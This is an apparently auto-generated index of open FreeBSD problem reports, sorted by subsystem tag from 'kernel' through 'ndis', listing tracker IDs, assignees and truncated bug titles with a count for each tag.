reports for tag 'kernel': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133985 [kernel] kern.cp_time returns all zeros and stops incr o kern/132104 [kernel] [patch] kenv(1) buffer overflow o kern/131597 [kernel] c++ exceptions very slow on FreeBSD 7.1/amd64 o kern/130261 [kernel] [panic] kernel panic in/below sys_pipe.c:knli o kern/129164 [kernel] Wrong priority value for normal processes o kern/124564 [kernel] [patch] add CPUID bits to ident phenom proces o amd64/124134 amd64 [kernel] The kernel doesn't follow the calling convent o kern/121073 [kernel] [patch] run chroot as an unprivileged user o kern/119358 [kernel] [patch] SYSINIT_VERBOSE can be more verbose o kern/119202 [kernel] [patch] Add generic support for disabling dev o kern/114492 [kernel] [patch] device_attach() doesn't unset devclas p kern/112554 silby [kernel] [patch] unp_gc is overly agressive and remove o power/111296 ppc [kernel] [patch] [request] Support IMISS, DLMISS an DS o kern/110249 kmacy [kernel] [regression] [patch] setsockopt() error regre o kern/98460 [kernel] [patch] fpu_clean_state() cannot be disabled o kern/97000 [kernel] [patch] bogus "All threads purged from ugen0. o kern/96429 [kernel] [patch] kern_linker.c hardcodes "/boot/kernel o kern/93887 [kernel] cpu_spinwait calls missing in subr_smp.c o kern/93331 [kernel] [patch] broken asm in kernel o kern/92023 [kernel] 'options DEVICE_POLLING' makes loadavg wrong o kern/91414 emaste [kernel] [patch] Polling for devices other than NICs o kern/87990 [kernel] [patch] SMP Race Condition in kdb_enter/kdb_e o kern/86290 jeff [kernel] [patch] minor optimizations + cleanup to vrel o kern/85657 [kernel] [patch] capture and expose per-CPU time accou o kern/85651 [kernel] [patch] debugging code to show entries in eve o usb/83504 usb [kernel] [patch] SpeedTouch USB stop working on recent o kern/81588 phk [kernel] [patch] Devices with SI_CHEAPCLONE flag don't s kern/79339 [kernel] [patch] Kernel time code sync with improvemen s kern/68317 [kernel] [patch] on soft (clean) reboots clean dmesg o o kern/64196 [kernel] [patch] remove the arbitrary MAXSHELLCMDLEN s kern/61497 ups [kernel] [patch] __elfN(map_insert) bug o kern/60550 silby [kernel] [patch] hitting process limits produces sub-o o kern/58803 [kernel] [patch] kern.argmax isn't changeable even at o kern/54604 pjd [kernel] [patch] make 'ps -e' procfs-independent o kern/53447 alfred [kernel] poll(2) semantics differ from susV3/POSIX s kern/50827 [kernel] [patch] [request] add sane record locking o kern/50526 [kernel] [patch] update to #! line termination o kern/43577 [kernel] [patch] [request] new kernel option SHUTDOWN_ o kern/42274 [kernel] [patch] Convert defined variable into tuneabl o kern/40369 [kernel] [patch] rman_reserve_resource - when "count > o kern/37555 [kernel] [patch] vnode flags appear to be changed in n o kern/29355 mux [kernel] [patch] add lchflags support 42 problems total. Problem reports for tag 'keyboard': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/135542 usb [keyboard] boot loader does not work with a usb keyboa o kern/135164 [keyboard] UK currency key inactive o kern/128172 gavin [keyboard] Remote Console (Keyboard) of AOC-SIM1U+ not o kern/125675 [keyboard] [patch] Add hw.syscons.kbd_suspend new sysc o usb/125088 usb [keyboard] Touchpad not detected on Adesso AKB-430UG U o usb/121708 usb [keyboard] nforce 650i mobo w/ usb keyboard infinite k o kern/118021 randi [keyboard] 7.0 Beta 2 sysinstall keyboard emits contro o kern/115253 [keyboard] Wireless keyboard not working at boot o kern/103498 [keyboard] momentary system "pauses" when switching VT o kern/102784 [keyboard] system crashes when using hardware function o usb/102678 usb [keyboard] Dell PowerEdge DRAC5 USB Keyboard does not o conf/100782 [keyboard] [patch] Default keymap to support ALT+Left, o usb/100746 usb [keyboard] system does not boot due to USB keyboard pr o usb/99538 usb [keyboard] while using USB keyboard default params of o usb/99431 usb [keyboard] FreeBSD on MSI 6566E (Intel 845E motherboar s usb/95348 usb [keyboard] USB keyboard unplug causes noise on screen o i386/93793 i386 [keyboard] Keyboard stops working after a shutdown -p o kern/80694 [keyboard] [patch] atkbd looped on Acer TravelMate 270 o kern/77091 [keyboard] Keyboard quits working under X with MAXCONS o usb/59698 usb [keyboard] [patch] Rework of ukbd HID to AT code trans o kern/41215 [keyboard] console revert back to kbd0 (AT) after KVM o kern/33965 [keyboard] [patch] programmable keys of the keyboard ( 22 problems total. Problem reports for tag 'kqueue': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/129550 i386 [pae] [kqueue] crash with PAE kernel o kern/125356 [kqueue] [panic] Repeated panic in kqueue_close from k o kern/116770 [kqueue] Unfortunate fifo/O_NONBLOCK/kevent interactio o kern/110199 jmg [kqueue] [patch] kqueue_register doesn't update the kn o kern/89775 [kqueue] [hang] kevent hangs on second wait for /dev/d o kern/64178 jmg [kqueue] [patch] kqueue does not work with bpf when us o kern/43905 jmg [kqueue] [patch] kqueues: EV_SET(kevp++, ...) is non-i 7 problems total. Problem reports for tag 'kthread': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136159 [kthread] [patch] tsleep with PDROP in kthread_suspend 1 problem total. Problem reports for tag 'ktr': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/108100 [ktr] sysctl debug.ktr.alq_enable=1 results in reboot 1 problem total. Problem reports for tag 'lagg': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132715 jfv [lagg] [panic] Panic when creating vlan's on lagg inte f kern/125442 gonzo [carp] [lagg] CARP combined with LAGG causes system pa o kern/123279 thompsa [lagg] order of operations dependancy in bringing up l o kern/122954 net [lagg] IPv6 EUI64 incorrectly chosen for lagg devices p kern/122794 net [lagg] Kernel panic after brings lagg(8) up if NICs ar o kern/122780 net [lagg] tcpdump on lagg interface during high pps wedge 6 problems total. Problem reports for tag 'libalias': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/115526 piso [libalias] libalias doesn't free memory o kern/105579 piso [libalias] dcc resume over natd in 6.x o kern/74450 [libalias] [patch] enable libalias/natd to create skip o kern/54891 [libalias] [patch] libalias(3)/natd(8) and exporting c o kern/50310 [libalias] [patch] natd / libalias fix to allow dcc re o kern/41307 [libalias] [patch] logging of links lifecycle (add/del 6 problems total. Problem reports for tag 'libarchive': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/121556 kientzle [libarchive] ISO9660 decompression extension unsupport 1 problem total. Problem reports for tag 'libc': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136669 [libc] [patch] setmode(3) should always set errno on e o bin/135017 [libc] bind exiting (due to assertion failure). resolv o kern/134513 [libc] [patch] fts(3) FTS_NOCHDIR misbehavior with emp o kern/134391 [libc] dladdr(3) does effectively not work on main pro o kern/133776 [libc] [patch] snprintf(3) and vsnprintf(3) do not pro o kern/133246 [libc] dlclose(3) gives segfault when called in the fi o kern/131623 [libc] gethostbyname(2): output of gethostbyname_r doe f kern/131602 gavin [libc] sendfile(2) sends corrupted data o kern/130749 [libc] [patch] nscache.c/nscachedcli.c - return error o kern/130504 [libc] Serious bug in regular expression library (rege o kern/129172 [libc] signals are not delivered always o kern/128933 [libc] realpath(3) does not follow SUS specification f o bin/127872 [libc] [patch] Rewinding on unionfs and Subversion o kern/126289 [libc] select(2) apparently consumes cpu when it shoul o kern/125382 [libc] open(2): ENOSPC may be misleading, consider EIO p kern/124334 mtm [libc] [patch] lib/libc/glob.c fails to compile under o kern/124160 net [libc] connect(2) function loops indefinitely o kern/123095 [libc] sendfile(2): Suspected sendfile data corruption f kern/122061 [libc] dlsym(3) is very slow when a symbol cannot be f o kern/121656 [libc] [patch] telldir(3) issues o kern/120128 attilio [libc] [patch] __getcwd erroneously returning ENOENT o bin/116074 [libc] fnmatch() does not handle FNM_PERIOD correctly o kern/115631 [libc] [patch] [request] make dlclose(3) atexit-aware o kern/115196 bushman [libc] [patch] [request] Implement getgroupmembership( s kern/114578 [libc] wide character printing using swprintf(dst, n, o bin/113825 [patch] [libc] [ggated] Fix -STABLE build with -fno-st o bin/113398 [libc] [patch] initgroups fails rather than truncates o amd64/112222 amd64 [libc] 32-bit libc incorrectly converts some FP number o bin/109478 [libc] [patch] adopt reentrant syslog functions from O o bin/108118 [libc] files should not cache their EOF status p stand/107561 standards [libc] [patch] [request] Missing SUS function tcgetsid o kern/103312 [libc] dlsym(NULL,) doesn't work properly o bin/102515 [libc] fsck_ufs crashes if no console at all o kern/100709 net [libc] getaddrinfo(3) should return TTL info o bin/99800 [libc] [patch] Add support for profiling multiple exec a bin/96840 [libc] [patch] getgrent() does not return large groups o kern/95239 [libc] [patch] nftw(3) returns EINVAL for large values o bin/95002 [libc] hash db source code has a bug which prevents us a kern/94827 [libc] mmap with given (void *addr) may lock memory-ma o stand/94729 standards [libc] fcntl() throws undocumented ENOTTY o kern/94519 [libc] [patch] Add UF_HIDDEN file flag; map it to Wind o kern/93197 [libc] strptime(3) succeeds on formats it should fail o kern/93093 [libc] xdr_string might call strlen(3) on NULL o kern/92880 net [libc] [patch] almost rewritten inet_network(3) functi o kern/90580 [libc] wordexp(3) fails to check for EINTR o kern/87729 phk [libc] [patch] most calls to malloc(3) generate warnin o threa/83914 threads [libc] popen() doesn't work in static threaded program o kern/82980 [libc] realpath(3) treats regular files as directories p kern/81987 matteo [libc] [patch] memory leaks in libc/rpc s kern/79048 [libc] realloc() copies data even when the size of all o kern/76485 [libc] sched_getparam(2) returns weird priority number o kern/76398 [libc] stdio can lose data in the presence of signals o kern/75855 adrian [libc] getpwent(3) functions on 5.3 with large passwor s bin/75767 [libc] [request] "fdclose" function in libc o kern/69826 [libc] 16th group has no effect when accesing file on o kern/69825 [libc] 1st group supplied to setgroups() does not take o kern/68690 [libc] write(2) returns wrong value when EFAULT s kern/64875 standards [libc] [patch] [request] add a system call: fdatasync( s kern/59739 [libc] rmdir(2) and mkdir(2) both return EISDIR for ar p kern/58687 deischen [libc] [patch] gethostbyname(3) leaks kqueue file desc s kern/56720 [libc] [request] UNICODE support in Resolver o kern/46866 [libc] NIS-based getpwent(3) falsely returns NULL o kern/45293 [libc] kevent denies to observe /dev/tty o kern/42956 [libc] dlclose gives "invalid shared object handle" wh o kern/42429 [libc] [patch] hash_action called with HASH_DELETE doe o kern/42422 [libc] [patch] dbm_delete returns -1 instead of 1 when o kern/36902 [libc] [patch] proposed new format code %N for strftim o kern/31981 [libc] [patch] (mis)feature in getnetent parsing -- co o kern/31906 [libc] No method available to unwind atexit(3) stack w o kern/31647 net [libc] socket calls can return undocumented EINVAL o kern/30186 net [libc] getaddrinfo(3) does not handle incorrect servna o kern/27835 standards [libc] execve() doesn't conform to execve(2) spec in s o bin/26486 remko [libc] [patch] setnetgrent hangs when netgroup contain o kern/25886 [libc] cgetset(3) doesn't get cleared when switching d 74 problems total. Problem reports for tag 'libc_r': S Tracker Resp. Description -------------------------------------------------------------------------------- s threa/32295 threads [libc_r] [patch] pthread(3) dont dequeue signals 1 problem total. Problem reports for tag 'libcrypt': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/120075 [libcrypt] Incompatible EOS of key in crypt(3) o kern/75934 [libcrypt] [patch] missing blowfish functionality in p 2 problems total. Problem reports for tag 'libcrypto': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/117709 simon [libcrypto] [patch] Base openssl does not define OPENS 1 problem total. Problem reports for tag 'libdialog': S Tracker Resp. Description -------------------------------------------------------------------------------- o gnu/48638 [libdialog] [patch] some bug fixes in libdialog 1 problem total. Problem reports for tag 'libdisk': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/113849 [libdisk] [patch] Correction of Sanitize_Bios_Geom for o kern/97164 [libdisk] libdisk's Open_Disk() crashes o kern/42217 [libdisk] libdisk segfaults with 1024 bytes/sector dis o kern/36916 randi [libdisk] [patch] DOS active partition flag lost in li o kern/31201 [libdisk] [patch] add free_space(chunk) to libdisk o kern/24435 [libdisk] [patch] changing slice type causes Auto-part 6 problems total. Problem reports for tag 'libedit': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/117348 [libedit] Loading history file sometimes fails in libe 1 problem total. Problem reports for tag 'libelf': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134502 [libelf] why 32 bit app not use /libexec/ld-elf32.so.1 1 problem total. Problem reports for tag 'libexec': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134225 [libexec] [patch] Reduce disk write load from save-ent o kern/110017 [libexec] [patch] serial port console output garbled o bin/95339 [libexec] [patch] rtld is thread-unsafe. fixes for dlo o kern/92412 [libexec] [patch] rpc.rstatd reports bogus packets/per o kern/45729 [libexec] [patch] make rbootd transfer the default fil 5 problems total. Problem reports for tag 'libfetch': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133491 [libfetch] [patch] Digest HTTP authentication support o bin/127280 des [libfetch] [patch] fetch/libfetch RFC 1738 %2F escaped o bin/125350 des [libfetch] [patch] src/lib/libfetch add support for de o kern/116005 des [libfetch] libfetch accepts invalid URLs o kern/98873 des [libfetch] allow fetch(3) to force using of ipv4 or ip 5 problems total. Problem reports for tag 'libgcc': S Tracker Resp. Description -------------------------------------------------------------------------------- o gnu/128262 [libgcc] [patch] contrib/gcclibs/libcpp/errors.c: -Wmi 1 problem total. Problem reports for tag 'libgssapi': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/113266 harti [libgssapi] [patch] Missing handling of mech_type in g 1 problem total. Problem reports for tag 'libi386': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134590 [libi386] [gpt] [patch] Bootloader support for hybrid 1 problem total. Problem reports for tag 'libiconv': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134249 [libiconv] [patch] ignore case for character set names s kern/76520 [libiconv] [patch] Add new kernel-side libiconv conver 2 problems total. Problem reports for tag 'libkrb': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/29062 markm [libkrb] krb4 and krb5 multiply defined version symbol 1 problem total. Problem reports for tag 'libkvm': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/120872 [libkvm] [patch] fstat exit on signal 11 o kern/95405 [libkvm] libkvm does not support /dev/fwmem0.0 in Free o kern/42386 [libkvm] [patch] cleaning code from warnings in libkvm 3 problems total. Problem reports for tag 'libm': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133583 [libm] fma(3) does not respect rounding mode using ext o stand/83845 standards [libm] [patch] add log2() and log2f() support for libm 2 problems total. Problem reports for tag 'libmap': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/78646 [libmap] [patch] libmap should canonicalize pathnames 1 problem total. Problem reports for tag 'libmd': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/112775 [libmd] [patch] libmd(3) bug for some zero-length file 1 problem total. Problem reports for tag 'libpam': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/117512 des [libpam] [patch] document .opieaccess for pam_opieacce o bin/115946 des [libpam] [patch] not thread-safe o kern/115164 des [libpam] [patch] [request] Add support for the account o kern/115162 des [libpam] [patch] [request] Add check for target user's o kern/109416 des [libpam] [patch] pam_group doesn't check login_group m o bin/105341 [libpam] [patch] [request] pam_krb5: Add minimum_uid/m o bin/93310 des [libpam] [patch] pam_unix ignores 'passwordtime' from o kern/91954 [libpam] [patch] Proposed enhancement for pam_krb5: "o o kern/76678 dfr [libpam] [patch] Allow pam_krb5 to authenticate no loc s kern/20333 des [libpam] ftp login fails on unix password when s/key a 10 problems total. Problem reports for tag 'libradius': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/103764 [libradius] [patch] libradius aborts server processing 1 problem total. Problem reports for tag 'librpcsvc': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/42387 [librpcsvc] [patch] cleaning code of librpcsvc from wa 1 problem total. Problem reports for tag 'libstand': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/93998 [libstand] [patch] panic in libstand when closing raw o kern/85650 [libstand] [patch] modifications to tftp-based PXE boo o kern/83424 [libstand] [patch] improper handling of malloc failure 3 problems total. Problem reports for tag 'libtacplus': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/80269 [libtacplus] [patch] libtacplus tac_get_av_value will 1 problem total. Problem reports for tag 'libusb': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/114310 usb [libusb] [patch] [panic] USB hub attachment panics ker 1 problem total. Problem reports for tag 'libusbhid': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/101775 usb [libusbhid] [patch] possible error in report descripto o kern/83451 [libusbhid] [patch] improper handling of malloc failur 2 problems total. Problem reports for tag 'libutil': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/84797 [libutil] [patch] State engine in the libutils propert s kern/38347 [libutil] [patch] [request] new library function abs2r o kern/35774 [libutil] logwtmp: Suboptimal auditing possibilities f 3 problems total. Problem reports for tag 'libvgl': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/83426 [libvgl] [patch] improper handling of malloc failures 1 problem total. Problem reports for tag 'libwrap': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132705 net [libwrap] [patch] libwrap - infinite loop if hosts.all 1 problem total. Problem reports for tag 'libz': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/96393 [libz] [patch] assembler implementations for libz on i 1 problem total. Problem reports for tag 'linprocfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/130724 emulation [linprocfs] [patch] cpuinfo in linprocfs is dated, cau o kern/99094 [linprocfs] panic: sleeping thread (Sleeping thread .. o kern/94528 [linprocfs] linprocfs /proc/memory reports wrong size o kern/56451 emulation [linprocfs] /compat/linux/proc/cpuinfo gives wrong CPU o kern/31048 des [linprocfs] /proc/meminfo cannot handle multiple swap 5 problems total. Problem reports for tag 'linux': S Tracker Resp. Description -------------------------------------------------------------------------------- o ports/136229 emulation [linux] certain linux apps look for libraries using a p kern/134251 dchagin [linux] skype-2.0.0.72 broke with recent kernel change o kern/133144 [linux] linuxulator 2.6 crashes with nvidias libGL.so. o kern/129169 emulation [linux] [patch] Linux Emulation ENOTCONN error using n o kern/126232 emulation [linux] Linux ioctl TCGETS (0x5401) always fails o bin/120055 dchagin [linux] kdump(1) segfaults on freebsd6_mmap syscall p kern/102956 dchagin [linux] [patch] Add partial support for SO_PEERCRED in f kern/99068 [linux] [patch] Linux emulator crashed by java, when c o kern/97326 emulation [linux] file descriptor leakage in linux emulation o kern/86619 [linux] linux emulator interacts oddly with cp o kern/73777 emulation [linux] [patch] linux emulation: root dir special hand a kern/72920 emulation [linux]: path "prefixing" is not done on unix domain s o kern/39201 emulation [linux] [patch] ptrace(2) and rfork(RFLINUXTHPN) confu o kern/29698 emulation [linux] [patch] linux ipcs doesn'work o kern/21463 emulation [linux] Linux compatability mode should not allow setu 15 problems total. Problem reports for tag 'lo': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/123568 gnn [lo] loopback interface error (don`t ask) o kern/112612 andre [lo] Traffic via additional lo(4) interface shows up o 2 problems total. Problem reports for tag 'loader': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/127981 i386 [loader] Stack underflow preventing boot [regression] o kern/120127 [loader] Loading of gzip'd mfsroot from pxeboot(8) cau o i386/112635 i386 [hang] [loader] Hang during boot installation o kern/110995 kmacy [loader] [patch] loader wastes space worth symtab size o kern/96927 [loader] Loader(8) cause kernel death on "boot -a" [re f i386/93762 gavin [hang] [loader] Machine lockup at boot loader countdow o i386/85652 i386 [loader] [patch] deal with out-of-memory errors during o kern/73004 [loader] [patch] PXE loader malfunction in multiple PX o i386/62003 remko [loader] [patch] make /boot/loader "reboot" code same 9 problems total. Problem reports for tag 'locale': S Tracker Resp. Description -------------------------------------------------------------------------------- f conf/109367 i18n [locale] UTF8 encoded locales and problem collating ac f conf/105100 ache [patch] [locale] no support for lv (latvian) locale f conf/91106 i18n [locale] date definitions in pl_PL locale are wrong 3 problems total. Problem reports for tag 'lpt': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/117973 [panic] [lpt] 7.0-BETA2: repeatable panic while printi o kern/108361 [lpt] lpt0: device busy with HP 710c parallel printer o kern/73744 [lpt] printing via cups causes "Interrupt storm" warni o kern/27403 [lpt] lpt driver doesn't handle flags anymore o kern/26562 [lpt] [patch] /dev/lpt0 returns EBUSY when attempting 5 problems total. Problem reports for tag 'make.conf': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/114082 [make.conf] default CFLAGS have a blank at the end 1 problem total. Problem reports for tag 'makefile': S Tracker Resp. Description -------------------------------------------------------------------------------- o amd64/115581 amd64 [Makefile] [patch] -mfancy-math-387 has no effect 1 problem total. Problem reports for tag 'mbuf': S Tracker Resp. Description -------------------------------------------------------------------------------- a kern/134355 [mbuf] comments for m_getm2 inconsistent with behaviou o kern/122743 net [mbuf] [panic] vm_page_unwire: invalid wire count: 0 2 problems total. Problem reports for tag 'mca': S Tracker Resp. Description -------------------------------------------------------------------------------- o ia64/113102 ia64 [MCA] Multiple records can have the same sequence numb 1 problem total. Problem reports for tag 'md': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133170 [md] [panic] panic when detaching swap-backed md(4) di o conf/122968 [md] md swapfile multiplication after init 1 o kern/122288 [md] [patch] mdconfig(8) returning negative unit numbe o conf/118113 [md] mdconfig init script requires image to be on root o kern/81161 [md] Images mounted through mdconfig on a read-only fs p kern/80136 trasz [md] [reboot] mdconfig can reboot the system 6 problems total. Problem reports for tag 'mfi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/124989 [mfi] mfi driver error - unexpected sense o kern/115133 scottl [mpt] [mfi] [patch] Patches to make mfi support LSI SA o kern/98091 scottl [mfi] [patch] Makefile style of mfi kernel module brok 3 problems total. Problem reports for tag 'mfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/52445 [mfs] panic when mounting floppy on MFS filesystem 1 problem total. Problem reports for tag 'minidump': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/118713 fs [minidump] [patch] Display media size required for a k 1 problem total. Problem reports for tag 'mk': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/113110 i386 [mk] [patch] i686 is not an alias of pentiumpro on GCC 1 problem total. Problem reports for tag 'mly': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/57398 scsi [mly] Current fails to install on mly(4) based RAID di o i386/55603 [mly] unable to reboot when system runs from Mylex A35 2 problems total. Problem reports for tag 'mmcsd': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134745 [mmcsd] [panic] mmcsd.ko produce kernel panic 1 problem total. Problem reports for tag 'modules': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135485 [modules] [patch] During a shutdown, kernel modules sh o amd64/131314 amd64 [modules] [panic] large modules fail to load on amd64 o kern/122782 amd64 [modules] accf_http.ko kernel module is not loadable a amd64/117186 amd64 [modules] kldload Unsupported file type on STABLE amd6 o kern/114291 kmacy [RFE] [modules] [patch] add dynamic module references o kern/96346 [modules] [patch] disable build of modules that are al o kern/88659 ipfw [modules] ipfw and ip6fw do not work properly as modul s kern/83738 jkoshy [modules] kldload hwpmc.ko fails with 'link_elf: symbo o usb/80829 usb [modules] [panic] possible panic when loading USB-modu a kern/74809 [modules] [panic] smbfs panic if multiply mounted o kern/70401 darrenr [modules] Could not load ipl.ko when no INET6 in the k o kern/68076 [modules] Page fault when the sequence "kldunload ucom o misc/60503 [modules] small error in modules installation f kern/48976 gavin [modules] nwfs.ko oddity 14 problems total. Problem reports for tag 'mount': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/39329 [mount] '..' at mountpoint is subject to the permissio 1 problem total. Problem reports for tag 'mouse': S Tracker Resp. Description -------------------------------------------------------------------------------- s usb/97286 usb [mouse] [request] MS Wireless Intellimouse Explorer 2. o usb/93408 usb [mouse] hw.acpi.cpu.cx_lowest=C3 on AMD Turion causes o kern/89258 [mouse] synaptic touchpad support "worse" with hw.psm. o kern/89166 [mouse] jumpy mouse movement o usb/87648 usb [mouse] Logitech USB-optical mouse problem. o usb/86298 usb [mouse] Known good USB mouse won't work with correct s 6 problems total. Problem reports for tag 'mpt': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134488 scsi [mpt] MPT SCSI driver probes max. 8 LUNs per device o kern/133919 [mpt] [panic] 7.1 panics after completing rebuild of m o kern/132206 scsi [mpt] system panics on boot when mirroring and 2nd dri o kern/130621 scsi [mpt] tranfer rate is inscrutable slow when use lsi213 o kern/130330 scottl [mpt] [panic] Panic and reboot machine MPT driver when o kern/128514 fs [zfs] [mpt] problems with ZFS and LSILogic SAS/SATA Ad f kern/128282 gavin [mpt] system failure on removing two drives o kern/127109 [mpt]: FreeBSD fails to boot except in safe mode o kern/122321 [mpt] Hitachi SCSI drive can't be written to o kern/120247 scsi [mpt] FreeBSD 6.3 and LSI Logic 1030 = only 3.300MB/s o kern/117688 [mpt] mpt disk timeout and hang o kern/115606 [mpt] [panic] Panic while using mpt controller o kern/115133 scottl [mpt] [mfi] [patch] Patches to make mfi support LSI SA o kern/96040 [mpt] LSI1030 mpt0: bullet missed in timeout 14 problems total. Problem reports for tag 'msdosfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133174 fs [msdosfs] [patch] msdosfs must support utf-encoded int o kern/132237 fs [msdosfs] msdosfs has problems to read MSDOS Floppy o kern/130920 fs [msdosfs] cp(1) takes 100% CPU time while copying file o kern/123939 fs [msdosfs] corrupts new files f usb/123508 vwe [umass] [msdosfs] damaged files (mp3,txt , etc) on fla o kern/120044 geom [msdosfs] [geom] incorrect MSDOSFS label fries adminis o bin/116980 fs [msdosfs] [patch] mount_msdosfs(8) resets some flags f p kern/116608 fs [msdosfs] [patch] msdosfs fails to check mount options o kern/111843 fs [msdosfs] Long Names of files are incorrectly created o kern/109024 fs [msdosfs] mount_msdosfs: msdosfs_iconv: Operation not o kern/109010 fs [msdosfs] can't mv directory within fat32 file system o kern/106632 trhodes [msdosfs] gimp destroys files on fat32 upon opening o kern/106255 trhodes [msdosfs] [patch]: correct setting of archive flag f kern/102250 trasz [msdosfs] panic upon forced umount of removed medium o usb/96224 usb [usb] [msdosfs] mount_msdosfs cause page fault in sync o kern/93634 vwe [msdosfs] False access to renamed files/directories (c f kern/87368 bde [msdosfs] fat32 is very slow o kern/86587 fs [msdosfs] rm -r /PATH fails with lots of small files o kern/79441 trhodes [msdosfs] problem writing on mounted msdos-fs at /mnt p kern/70096 trhodes [msdosfs] [patch] full msdos file system causes corrup o kern/67326 rodrigc [msdosfs] crash after attempt to mount write protected o kern/62762 bde [msdosfs] Fsync for msdos fs does not sync entries o kern/45558 trhodes [msdosfs] mdconfig and msdosfs make fs writes hang a kern/21807 trhodes [msdosfs] [patch] Make System attribute correspond to o kern/15838 trhodes [msdosfs] [patch] Conversion tables in msdosfs_conv.c 25 problems total. Problem reports for tag 'msk': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134401 net [msk] [panic] Kernel Fatal trap 12: page fault while i o kern/133204 net [msk] msk driver timeouts o kern/128884 net [msk] if_msk page fault while in kernel mode o kern/124127 net [msk] watchdog timeout (missed Tx interrupts) -- recov f kern/119613 yongari [msk] mskc0: Uncorrectable PCI Express error o kern/116853 yongari [msk] msk watchdog timeout f kern/114631 yongari [msk] "Tx descriptor error" with Marvell Yukon 7 problems total. Problem reports for tag 'mtx': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/135692 [mtx] [witness] blockable sleep lock - kernel panic on 1 problem total. Problem reports for tag 'multicast': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/122839 net [multicast] FreeBSD 7 multicast routing problem 1 problem total. Problem reports for tag 'mutex': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/131573 [mutex] lock_init() assumes zero-filled struct 1 problem total. Problem reports for tag 'mxge': S Tracker Resp. Description -------------------------------------------------------------------------------- o amd64/130483 amd64 [mxge] MSI must be disabled when Myricom 10Gbps Card i 1 problem total. Problem reports for tag 'myk': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/130329 gavin [myk] panic 1 problem total. Problem reports for tag 'nanobsd': S Tracker Resp. Description -------------------------------------------------------------------------------- o misc/135588 embedded [nanobsd] simple patch for adding amd64 support o misc/123240 [nanobsd] [patch] rerunning nanobsd.inc.sh fails becau o conf/96746 [nanobsd] [patch] Configuration changes and README for o misc/93341 phk [nanobsd] [patch] make more flexibitily for NanoBSD cu 4 problems total. Problem reports for tag 'nat': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132354 net [nat] Getting some packages to ipnat(8) causes crash o kern/121534 darrenr [ipl] [nat] FreeBSD Release 6.3 Kernel Trap 12: 2 problems total. Problem reports for tag 'ncurses': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/119903 [ncurses] Fast increase in loading of the processor. A o bin/107171 [patch] [ncurses] systat(1) doesn't die when it's xter o conf/71254 [ncurses] xterm vs. cons* termtypes or sc(4) 3 problems total. Problem reports for tag 'ndis': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132889 net [ndis] [panic] NDIS kernel crash on load BCM4321 AGN d o kern/132672 net [ndis] [panic] ndis with rt2860.sys causes kernel pani o kern/131781 net [ndis] ndis keeps dropping the link f kern/130820 net [ndis] wpa_supplicant(8) returns 'no space on device' o kern/130525 net [ndis] [panic] 64 bit ar5008 ndisgen-erated driver cau o kern/129580 net [ndis] Netgear WG311v3 (ndis) causes kenel trap at boo p kern/127644 weongyo [ndis] [panic] NDIS panic p kern/125181 thompsa [ndis] [patch] with wep enters kdb.enter.unknown, pani o kern/124225 cokane [ndis] [patch] ndis network driver sometimes loses net o kern/118493 weongyo [ndis] [patch] a trivial fix when ndis sets `ndis_reso p kern/118439 thompsa [ndis] [patch] if_ndis - fix a panic when ndis_attach( p kern/118370 thompsa [ndis] [patch] if_ndis - fix a scanning problem of Mar o kern/116747 net [ndis] FreeBSD 7.0-CURRENT crash with Dell TrueMobile o docs/114184 doc [patch] [ndis]: add info to man 4 ndis o kern/109406 thompsa [ndis] Broadcom WLAN driver 4.100.15.5 